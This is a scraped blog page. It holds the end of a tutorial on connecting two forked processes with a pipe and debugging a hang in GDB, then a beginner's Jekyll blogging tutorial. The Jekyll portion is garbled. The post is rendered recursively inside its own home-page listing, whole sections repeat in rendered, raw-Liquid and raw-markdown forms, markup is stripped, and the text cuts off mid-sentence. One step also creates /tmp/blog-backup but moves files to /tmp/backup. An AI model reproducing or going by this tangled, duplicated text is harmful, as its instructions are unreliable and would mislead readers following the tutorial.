      <li>experience using GDB, know how to set breakpoints (checkout <a href="https://sourceware.org/gdb/onlinedocs/gdb/index.html#Top">GDB tutorial</a>)</li>
      <li>c language readability (espicially <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">exec</code>)</li>
      <li>understand I/O redirect (checkout <code class="language-plaintext highlighter-rouge">man dup</code>)</li>
    </ul>
    
    <h3 id="the-problem">The problem</h3>
    
    <p>The problem is to</p>
    
    <ol>
      <li>load two pre-built programs</li>
      <li>stream the output of the first program to the second one</li>
      <li>print the result of the second program</li>
      <li>print a finish sentence when both programs finish</li>
    </ol>
    
    <p>For example, we want to mimic the action of such bash command:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /bin/sort
    </code></pre></div></div>
    
    <h3 id="the-first-version">The first version</h3>
    
    <p>Our very first version almost works, it</p>
    
    <ol>
      <li>sets up a pipe for later inter-process communication</li>
      <li>forks two processes</li>
      <li>modifies pipe for each process, so that the input/output is correctly redirected</li>
      <li>loads the pre-built programs to the processes</li>
      <li>prints the finish sentence</li>
    </ol>
    
    <p>The C file is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/first.c">here</a>.</p>
    
    <p>Compile and run the program (assuming you have <code class="language-plaintext highlighter-rouge">gcc</code> installed). Notice you may need to modify positions for <code class="language-plaintext highlighter-rouge">ls</code> and <code class="language-plaintext highlighter-rouge">sort</code> programs if the belowing positions do not work.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Here is the output:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>And this the output of pipe in terminal:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.</p>
    
    <p>This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.</p>
    
    <p>To fix the problem, let’s move on to second version.</p>
    
    <h3 id="the-second-version">The second version</h3>
    
    <p>At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last <code class="language-plaintext highlighter-rouge">else</code> branch, so that the main program will print the finish sentence after child processes finish.</p>
    
    <p>The second version is at <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/second.c">here</a>. Notice the only difference is two additional lines (105-106).</p>
    
    <p>Compile and run:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>We will find the program <strong>never</strong> finishes!</p>
    
    <p>Instead of telling you why the program breaks, we will use GDB to find out the reason together.</p>
    
    <p>Compile the program again with debug information and use GDB to execute the program:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Before everything, let’s set <code class="language-plaintext highlighter-rouge">detach-on-fork</code> environment variable of GDB to off.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set detach-on-fork off
    </code></pre></div></div>
    
    <p>By doint this, we could switch between processes easily. More details on this environment at <a href="https://sourceware.org/gdb/onlinedocs/gdb/Forks.html">here</a>.</p>
    
    <p>Now let’s set breakpoint at right before <code class="language-plaintext highlighter-rouge">waitpid</code> system call and run the program</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    </code></pre></div></div>
    
    <p>Now use <code class="language-plaintext highlighter-rouge">next</code> command of GDB to step through the functions.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    </code></pre></div></div>
    
    <p>This means the first program finishes successfully, but the second one suspends and never returns!</p>
    
    <p>In order to figure out why the second program never returns, let’s run the program again, and use <code class="language-plaintext highlighter-rouge">catch</code>, <code class="language-plaintext highlighter-rouge">inferior</code> commands to go to that child process instead of the parent process.</p>
    
    <p>First, let GDB stops when a <code class="language-plaintext highlighter-rouge">fork</code> system call is called</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) catch fork
    Catchpoint 1 (fork)
    </code></pre></div></div>
    
    <p>Next, go to the fork statement at line 84.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    </code></pre></div></div>
    
    <p>Notice we meet two <code class="language-plaintext highlighter-rouge">fork</code> system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.</p>
    
    <p>GDB use the concept of <em>inferior</em> to refer to threads, processes etc. To see currently running processes, just run</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    </code></pre></div></div>
    
    <p>Notice both executable names of child processes are “second”. This means the <code class="language-plaintext highlighter-rouge">/bin/ls</code> and <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code> are not loaded yet. This is because by setting <code class="language-plaintext highlighter-rouge">detach-on-fork</code> off, the newly created processes will be suspended by default.</p>
    
    <p>Let’s switch to first program (inferior 2) and let it finish.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    </code></pre></div></div>
    
    <p>Now only two inferiors are left.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    &lt;null&gt;            /bin/ls           
      1    process 6127      second 
    </code></pre></div></div>
    
    <p>The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    </code></pre></div></div>
    
    <p>The program seems stuck when executing <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code>. A guess is input file is never closed. Let’s check.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -&gt; pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!</p>
    
    <p>Just to make sure our guess is correct, let’s examine open file descriptors in parent process.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -&gt; pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>And we know the pipe is indeed not closed in parent process. This leads us to third version.</p>
    
    <h3 id="the-third-version">The third version</h3>
    
    <p>In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.</p>
    
    <p>The third version is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/third.c">here</a>.</p>
    
    <p>Now let’s test the program again.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>And here is the result on my machine,</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    </code></pre></div></div>
    
    <p>which is the same as the result of terminal.</p>
    
    <h3 id="conclusion">Conclusion</h3>
    
    <p>In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.</p>
    
    <p>We learnt</p>
    
    <ul>
      <li>C and Unix skills
        <ul>
          <li>pipe</li>
          <li>fork</li>
          <li>waitpid</li>
          <li>dup</li>
        </ul>
      </li>
      <li>GDB skills
        <ul>
          <li>catch</li>
          <li>inferior</li>
        </ul>
      </li>
    </ul>
    
    
                    <hr>
    
                    <ul class="pager">
                        
                        <li class="previous">
                            <a href="/2016/04/20/concurrency-vs-parallelism/" data-toggle="tooltip" data-placement="top" title="Concurrency vs. Parallelism">&larr; Previous Post</a>
                        </li>
                        
                        
                        <li class="next">
                            <a href="/2017/02/10/blog-with-Jekyll-for-beginner/" data-toggle="tooltip" data-placement="top" title="Blog with Jekyll for beginners">Next Post &rarr;</a>
                        </li>
                        
                    </ul>
    
                    
                    <!-- disqus 评论框 start -->
                    <div class="comment">
                        <div id="disqus_thread" class="disqus-thread"></div>
                    </div>
                    <!-- disqus 评论框 end -->
                    
    
                </div>
    
        <!-- Sidebar Container -->
        <!--
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    sidebar-container" id="toc">
                </div>
        -->
            </div>
        </div>
    </article>
    
    
    <!-- disqus 公共JS代码 start (一个网页只需插入一次) -->
    <script type="text/javascript">
        /* * * CONFIGURATION VARIABLES * * */
        var disqus_shortname = "pufan-jiangs-blog";
        var disqus_identifier = "/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB";
        var disqus_url = "http://otnt.github.io//2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/";
    
        (function() {
            var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
            dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
            (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
        })();
    </script>
    <!-- disqus 公共JS代码 end -->
    
     end -->
    		
      	</body>
    </html>
    

    Edit home page

    We will create an extremely simple home page first, which contains a list of your blog posts.

    vim index.html
    

    Put the following content in your home page.

    ---
    layout: default
    ---
    
    <h1>Home page</h1>
    <ul class="post-list">
    
      <li>
        <h2>
          <a href="/2017/02/10/blog-with-Jekyll-for-beginner/">Blog with Jekyll for beginners</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2017/02/10/blog-with-Jekyll-for-beginner/">Blog with Jekyll for beginners</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/">Inter-process communication using pipe and multiprocess debugging using GDB</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/04/20/concurrency-vs-parallelism/">Concurrency vs. Parallelism</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/04/20/Panic-vs-Return-Error/">Exception handling: panic/exception v.s. return error</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/03/23/cheatsheet-go-basics/">A cheatsheet on basic of Go language</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/02/19/Talking-within-Distributed-System-Message-Passing-RPC-RESTful-and-Thrift/">Talking within Distributed System</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/02/14/Secure-Threats-Buffer-Overflow-Attack-Level-0/">Secure Threats -- Buffer Overflow Attack -- Level 0</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/02/11/poison-pill-pattern/">Poison Pill</a>
        </h2>
      </li>
    
    </ul>
    

    It’s okay if you don’t understand prepend: site.baseurl. The most important thing is Jekyll will search for all files under directory _post and insert their URLs in hyper links.

    Edit blog content

    Finally, we could create our blog post.

    You could change the name of the blog, but the name must

    • have a format YYYY-mm-dd-blog-name.ext
    • the ext has to be one of .md, .markdown etc.

    Here is an example:

    vim _post/2017-02-10-first-blog.md
    

    Now put the content in your blog post

    ---
    layout: post
    title: first blog
    date: 2017-01-20
    ---
    
    # Title
    
    ## Second-level title
    
    some content
    

    This tells Jekyll use post.html as the layout, which recursively use default.html.

    Remember the Blog with Jekyll for beginners and 2017-02-10 00:00:00 +0000 in post.html? Here is where we define the value of these variables.

    Time for a demo

    Now let’s run a local server to see how our first blog looks like.

    jekyll server
    

    In your browser, use address localhost:4000 to see your blog site.

    Moving on

    Believe me, you have mastered essential skills for creating a great website with Jekyll.

    The best way to step forward is downloading some nice Jekyll template and figure out how it is composed.

    Here is the source code of my Jekyll website. However, in order to fully understand these code, you have to learn creating Jekyll plugin, which is super easy.

    Customize article preview front matter with Jekyll plugin

    Default article preview front matter

    Jekyll comes with default article preview tag – post.excerpt.

    Modify our index.html page:

    ---
    layout: default
    ---
    
    <h1>Home page</h1>
    <ul class="post-list">
    
      <li>
        <h2>
          <a href="/2017/02/10/blog-with-Jekyll-for-beginner/">Blog with Jekyll for beginners</a>
          
          <!-- insert this line -->
          <p><p>This article</p>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2017/02/10/blog-with-Jekyll-for-beginner/">Blog with Jekyll for beginners</a>
          
          <!-- insert this line -->
          <p><p>This article</p>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/">Inter-process communication using pipe and multiprocess debugging using GDB</a>
          
          <!-- insert this line -->
          <p><p>In this article, we’ll walk through a simple example showing</p>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/04/20/concurrency-vs-parallelism/">Concurrency vs. Parallelism</a>
          
          <!-- insert this line -->
          <p><p>Quoted from <a href="https://www.youtube.com/watch?v=f6kdp27TYZs">Go Concurrency Patterns</a>.</p>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/04/20/Panic-vs-Return-Error/">Exception handling: panic/exception v.s. return error</a>
          
          <!-- insert this line -->
          <p><p>There are two common ways to handle errors:</p>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/03/23/cheatsheet-go-basics/">A cheatsheet on basic of Go language</a>
          
          <!-- insert this line -->
          <p><p>Quoted from:</p>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/02/19/Talking-within-Distributed-System-Message-Passing-RPC-RESTful-and-Thrift/">Talking within Distributed System</a>
          
          <!-- insert this line -->
          <p><ul>
      <li>What’s different between communication in distributed system and local machine.</li>
      <li>Two most popular way to communicate within a distributed system, i.e. message passing and RPC, and analyzed the advantages and disadvantages of them.</li>
      <li>Two most successful protocol using these two communication idea, i.e. RESTful and Thrift.</li>
    </ul>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/02/14/Secure-Threats-Buffer-Overflow-Attack-Level-0/">Secure Threats -- Buffer Overflow Attack -- Level 0</a>
          
          <!-- insert this line -->
          <p><ul>
      <li>Our software system is far from robust and safe.</li>
      <li>This post talks about a basic attack, namely Buffer Overflow, that could shoot down a software system which seems robust at first glance.</li>
    </ul>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/02/11/poison-pill-pattern/">Poison Pill</a>
          
          <!-- insert this line -->
          <p><ul>
      <li>How do producer(s) notify consumer(s) to stop?</li>
      <li>The producer can not simple kill the consumer, since there may be some jobs still in the queue.</li>
      <li>One solution is use poison pill – a special value to notify consumer(s) the end of service.</li>
    </ul>
    
    </p>
          
        </h2>
      </li>
    
    </ul>
    

    We added a paragraph section to home page, which is a preview created by Jekyll post.excerpt tag. What it does is cut the first paragraph of the post.

    Customize article preview behavior

    To have a fully customized preview tool, we have to create a Jekyll plugin.

    There are multiple ways to create and use such plugins (more details). I personally perfer put to create Ruby files (equivelent to Jekyll plugins) under _plugins directory.

    Let’s see the example first. Suppose we want to use the first 10 characters as article preview. One way is to use Liquid filter truncate. But for the purpose of this article, we’ll instead create our dumb little Jekyll plugin.

    Create a Ruby file under _plugin directory.

    mkdir _plugins
    vim _plugins/example.rb
    

    Put in following contents:

    module Jekyll
      module PreviewFilter
        def build_preview(content)
          return content[0, 10]
        end
      end
    end
    
    Liquid::Template.register_filter(Jekyll::PreviewFilter)
    

    The build_preview function is straightforward. The other code is just tell Jekyll to register this filter in global scope.

    Just as a supplementary, I suggest reading this paragraph.

    Time for a demo

    Now let’s change our index.html

    ---
    layout: default
    ---
    
    <h1>Home page</h1>
    <ul class="post-list">
    
      <li>
        <h2>
          <a href="/2017/02/10/blog-with-Jekyll-for-beginner/">Blog with Jekyll for beginners</a>
          
          <!-- insert this line -->
          <p>This article
    
    - shows how to build a simple blog website with Jekyll from scratch (you could also build your blog on top of others once you learnt the essential skills)
    - use [Liquid](https://github.com/Shopify/liquid) and [Jekyll plugin](https://jekyllrb.com/docs/plugins/) to customize article previews front matter
    - example blog
    
    ![example-blog](/img/posts/jekyll-blog-demo.gif)
    
    Pre-requists
    
    - Basic understanding of HTML, CSS, JS and their relations
    - Ruby experience or other programming experience to pick up Ruby quickly ( cd /tmp
    > jekyll new my-blog
    New jekyll site installed in /private/tmp/my-blog.
    

    By running the last command, you have created a directory organized in a way that Jekyll could create static website from.

    Create a post

    Before all, let’s remove default files Jekyll created for us. In this article, we will use much simpler layouts, but the idea is the same.

    > mkdir /tmp/blog-backup
    > mv _includes/* _layouts/* _posts/* css/* _sass/* index.html about.md /tmp/backup/
    

    Layout

    Post layout

    Now let’s create a layout for your blog posts. A layout is same as a template. You could think about it like creating a Pointer Point / Keynote. For each slide, it has a structure, e.g. a title and a body text, and what you need to do is only fill in the content.

    Jekyll is great to separate layout/template from contents.

    We create layout using HTML, CSS, JS and Liquid. In the layout, we put some special marks as placeholders, so that the content could be inserted by Jekyll and Liquid.

    Once you have created the layout, you could focus on contents and Jekyll will put them together and render the website.

    This may sound abstract, let’s have a dry run!

    > cd my-blog
    > vim _layout/post.html # Or use your favorite text editor to create _layout/post.html
    

    This is the simple post HTML.

    {% raw %}

    ---
    layout: default
    ---
    
    	
    		{{ page.title }}
    		{{ page.date | date: "%b %-d, %Y" }}
    	
    
    	
    		{{ content }}
    	
    
    

    {% endraw %}

    Now, stop reading and check out Liquid for designers to get a basic understanding of these curly brackets.

    If you did read the article, you should understand

    • {{ foo }} is nothing but a placeholder, Liquid will later replace variable foo with its actual value. For example, {{ content }} is a variable created by Jekyll, whose value is the actual blog content you composed.
    • In{{ foo | bar }}, the | is just like Unix pipe supporting casacading operations.
    • In {{ foo | bar: v1, v2 }}, the : v1, v2 is the input arguments for filter bar.

    Now you may have two questions:

    • The HTML file is incomplete, for example `````` etc. are missing,
    • The first three lines of post.html is mistery,

    so let’s move on.

    The complete layout

    At this point, you may be wondering what the heck is that on top of the file:

    ---
    layout: default
    ---
    

    Jekyll use YAML to manage meta data of your web pages. This layout: default tells Jekyll to search for default.html in directory _layout, and then replace the placeholder {{ content }} in default.html with the whole content of this file(post.html). By doing this, Jekyll enable us to define layout in a hierarchical way.

    Now let’s create file _layout/default.html with following content:

    {% raw %}

    
    
    	{% include head.html %}
    	
    		{{ content }}
      	
    
    

    {% endraw %}

    notice this is a complete HTML file and the {{ content }} placeholder is where the content of post.html should fit into.

    The {% raw %}{% include foo.ext %}{% endraw %}s are straightforward, they will be replaced by contents of _include/foo.ext.

    Let’s create file _include/head.html with following content:

    
    		
    
    

    This header has many things missing, but it works for our most simple blog.

    Therefore, after replacing everything, the actual HTML file for posts will be

    {% raw %}

    
    
    	
    	
    			
    	
    	
    	
    	
    	
    		
    		
    			
    				{{ page.title }}
    				{{ page.date | date: "%b %-d, %Y" }}
    			
    		
    			
    				{{ content }}
    			
    		
    		
    		
      	
    
    

    {% endraw %}

    Edit home page

    We will create an extremely simple home page first, which contains a list of your blog posts.

    vim index.html
    

    Put the following content in your home page.

    {% raw %}

    ---
    layout: default
    ---
    
    Home page
    
    {% for post in site.posts %}
      
        
          {{ post.title }}
        
      
    {% endfor %}
    
    

    {% endraw %}

    It’s okay if you don’t understand prepend: site.baseurl. The most important thing is Jekyll will search for all files under directory _post and insert their URLs in hyper links.

    Edit blog content

    Finally, we could create our blog post.

    You could change the name of the blog, but the name must

    • have a format YYYY-mm-dd-blog-name.ext
    • the ext has to be one of .md, .markdown etc.

    Here is an example:

    vim _post/2017-02-10-first-blog.md
    

    Now put the content in your blog post

    ---
    layout: post
    title: first blog
    date: 2017-01-20
    ---
    
    # Title
    
    ## Second-level title
    
    some content
    

    This tells Jekyll use post.html as the layout, which recursively use default.html.

    Remember the {{ page.title }} and {{ page.date }} in post.html? Here is where we define the value of these variables.

    Time for a demo

    Now let’s run a local server to see how our first blog looks like.

    jekyll server
    

    In your browser, use address localhost:4000 to see your blog site.

    Moving on

    Believe me, you have mastered essential skills for creating a great website with Jekyll.

    The best way to step forward is downloading some nice Jekyll template and figure out how it is composed.

    Here is the source code of my Jekyll website. However, in order to fully understand these code, you have to learn creating Jekyll plugin, which is super easy.

    Customize article preview front matter with Jekyll plugin

    Default article preview front matter

    Jekyll comes with default article preview tag – post.excerpt.

    Modify our index.html page:

    {% raw %}

    ---
    layout: default
    ---
    
    Home page
    
    {% for post in site.posts %}
      
        
          {{ post.title }}
          
          
          {{ post.excerpt }}
          
        
      
    {% endfor %}
    
    

    {% endraw %}

    We added a paragraph section to home page, which is a preview created by Jekyll post.excerpt tag. What it does is cut the first paragraph of the post.

    Customize article preview behavior

    To have a fully customized preview tool, we have to create a Jekyll plugin.

    There are multiple ways to create and use such plugins (more details). I personally perfer put to create Ruby files (equivelent to Jekyll plugins) under _plugins directory.

    Let’s see the example first. Suppose we want to use the first 10 characters as article preview. One way is to use Liquid filter truncate. But for the purpose of this article, we’ll instead create our dumb little Jekyll plugin.

    Create a Ruby file under _plugin directory.

    mkdir _plugins
    vim _plugins/example.rb
    

    Put in following contents:

    module Jekyll
      module PreviewFilter
        def build_preview(content)
          return content[0, 10]
        end
      end
    end
    
    Liquid::Template.register_filter(Jekyll::PreviewFilter)
    

    The build_preview function is straightforward. The other code is just tell Jekyll to register this filter in global scope.

    Just as a supplementary, I suggest reading this paragraph.

    Time for a demo

    Now let’s change our index.html

    {% raw %}

    ---
    layout: default
    ---
    
    Home page
    
    {% for post in site.posts %}
      
        
          {{ post.title }}
          
          
          {{ post.content | strip_html | build_preview }}
          
        
      
    {% endfor %}
    
    

    {% endraw %}

    We see that instead of using Jekyll’s built-in post.excerpt tag, we use customized filter build_preview with content of post as input, to create the post preview on home page. The filter strip_html is used to remove html tags so that the preview could be rendered correctly.

    Run Jekyll local server

    jekyll server
    

    And you should see the change.

    </p>

    </h2>
    

    </li>

  • Blog with Jekyll for beginners

    This article - shows how to build a simple blog website with Jekyll from scratch (you could also build your blog on top of others once you learnt the essential skills) - use [Liquid](https://github.com/Shopify/liquid) and [Jekyll plugin](https://jekyllrb.com/docs/plugins/) to customize article previews front matter - example blog ![example-blog](/img/posts/jekyll-blog-demo.gif) Pre-requists - Basic understanding of HTML, CSS, JS and their relations - Ruby experience or other programming experience to pick up Ruby quickly ( cd /tmp > jekyll new my-blog New jekyll site installed in /private/tmp/my-blog. ``` By running the last command, you have created a directory organized in a way that Jekyll could create static website from. ## Create a post Before all, let's remove default files Jekyll created for us. In this article, we will use much simpler layouts, but the idea is the same. ``` > mkdir /tmp/blog-backup > mv _includes/* _layouts/* _posts/* css/* _sass/* index.html about.md /tmp/backup/ ``` ### Layout #### Post layout Now let's create a **layout** for your blog posts. A layout is same as a template. You could think about it like creating a Pointer Point / Keynote. For each slide, it has a structure, e.g. a title and a body text, and what you need to do is only fill in the content. **Jekyll is great to separate layout/template from contents.** We create layout using HTML, CSS, JS and Liquid. In the layout, we put some special marks as placeholders, so that the content could be inserted by Jekyll and Liquid. Once you have created the layout, you could focus on contents and Jekyll will put them together and render the website. This may sound abstract, let's have a dry run! ``` > cd my-blog > vim _layout/post.html # Or use your favorite text editor to create _layout/post.html ``` This is the simple post HTML. ```html --- layout: default --- {{ page.title }} {{ page.date | date: "%b %-d, %Y" }} {{ content }} ``` **Now, stop reading and check out [Liquid for designers](https://github.com/Shopify/liquid/wiki/Liquid-for-Designers) to get a basic understanding of these curly brackets.** If you did read the article, you should understand - ```{{ foo }}``` is nothing but a placeholder, Liquid will later replace variable ```foo ``` with its actual value. For example, ```{{ content }}``` is a variable created by Jekyll, whose value is the actual blog content you composed. - In```{{ foo | bar }}```, the ```|``` is just like Unix [pipe](https://en.wikipedia.org/wiki/Pipeline_(Unix)) supporting casacading operations. - In ```{{ foo | bar: v1, v2 }}```, the ```: v1, v2``` is the input arguments for filter ```bar```. Now you may have two questions: - The HTML file is incomplete, for example `````` etc. are missing, - The first three lines of ```post.html``` is mistery, so let's move on. #### The complete layout At this point, you may be wondering what the heck is that on top of the file: ``` --- layout: default --- ``` Jekyll use [YAML](https://en.wikipedia.org/wiki/YAML) to manage meta data of your web pages. This ```layout: default``` tells Jekyll to search for ```default.html``` in directory ```_layout```, and then **replace the placeholder ```{{ content }}``` in ```default.html``` with the whole content of this file(```post.html```)**. By doing this, Jekyll enable us to define layout in a hierarchical way. Now let's create file ```_layout/default.html``` with following content: ```html {% include head.html %} {{ content }} ``` notice this is a complete HTML file and the ```{{ content }}``` placeholder is where the content of ```post.html``` should fit into. The {% raw %}```{% include foo.ext %}```{% endraw %}s are straightforward, they will be replaced by contents of ```_include/foo.ext```. Let's create file ```_include/head.html``` with following content: ```html ``` This header has many things missing, but it works for our most simple blog. Therefore, after replacing everything, the actual HTML file for posts will be ```html {{ page.title }} {{ page.date | date: "%b %-d, %Y" }} {{ content }} ``` ### Edit home page We will create an extremely simple home page first, which contains a list of your blog posts. ``` vim index.html ``` Put the following content in your home page. ```html --- layout: default --- Home page {% for post in site.posts %} {{ post.title }} {% endfor %} ``` It's okay if you don't understand ```prepend: site.baseurl```. The most important thing is Jekyll will search for all files under directory ```_post``` and insert their URLs in hyper links. ### Edit blog content Finally, we could create our blog post. You could change the name of the blog, but the name must - have a format ```YYYY-mm-dd-blog-name.ext``` - the ```ext``` has to be one of ```.md```, ```.markdown``` etc. Here is an example: ``` vim _post/2017-02-10-first-blog.md ``` Now put the content in your blog post ``` --- layout: post title: first blog date: 2017-01-20 --- # Title ## Second-level title some content ``` This tells Jekyll use ```post.html``` as the layout, which recursively use ```default.html```. Remember the ```{{ page.title }}``` and ```{{ page.date }}``` in ```post.html```? Here is where we define the value of these variables. ## Time for a demo Now let's run a local server to see how our first blog looks like. ``` jekyll server ``` In your browser, use address ```localhost:4000``` to see your blog site. #### Moving on Believe me, you 